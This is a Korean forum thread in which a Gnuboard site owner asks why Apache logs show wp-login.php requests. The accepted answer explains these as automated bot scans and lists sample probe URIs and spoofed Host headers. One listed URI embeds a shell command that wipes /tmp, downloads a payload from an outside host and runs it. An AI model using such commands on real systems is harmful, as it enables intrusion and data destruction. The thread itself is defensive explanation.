[php7:error] [pid 2457] [client 아이피:61642] script '/var/www/html/wp-login.php' not found or unable to stat
당연하게 그누보드 사용중인데, 왜 워드프레스 로그인을 요청하는 걸까요?
계속 에러로그가 떠서 신경쓰이는데, 해결방법을 알고 싶습니다.
환경은 센토스, 아파치, 마리아디비 php7.3 입니다.
답변 2개 / 댓글 1개
채택된 답변
+20 포인트
무차별 REQUEST_URI 대입입니다.
Copy
/wp-load.php
/s_e.php
/s_ne.php
/wikindex.php?f=/NmRtJOUjAdutReQj/scRjKUhleBpzmTyO.txt
/shell?cd+/tmp;rm+-rf+*;wget+heylitimysun.top/jaws;sh+/tmp/jaws
/phpMyAdmin-5.2.0-all-languages
/wp-admin/style.php?sig=rename
/wp1/wp-includes/wlwmanifest.xml
/autodiscover/autodiscover.json?@zdi/Powershell
/boaform/admin/formLogin
...보통 봇으로 돌리기 때문에 요청 호스트가 도메인이 아닌 IP 인 경우가 많고
요청이 들어오는 헤더의 호스트가 조작되는 케이스도 있습니다.
Copy
127.0.0.1:80
localhost:8080
www.google.com:443아무 URI 나 호출하다가 하나 얻어걸리고 그 이후 액션이 통과되는 경우
운나쁘면 사이트가 털릴수 있습니다.
답변을 작성하려면 로그인이 필요합니다.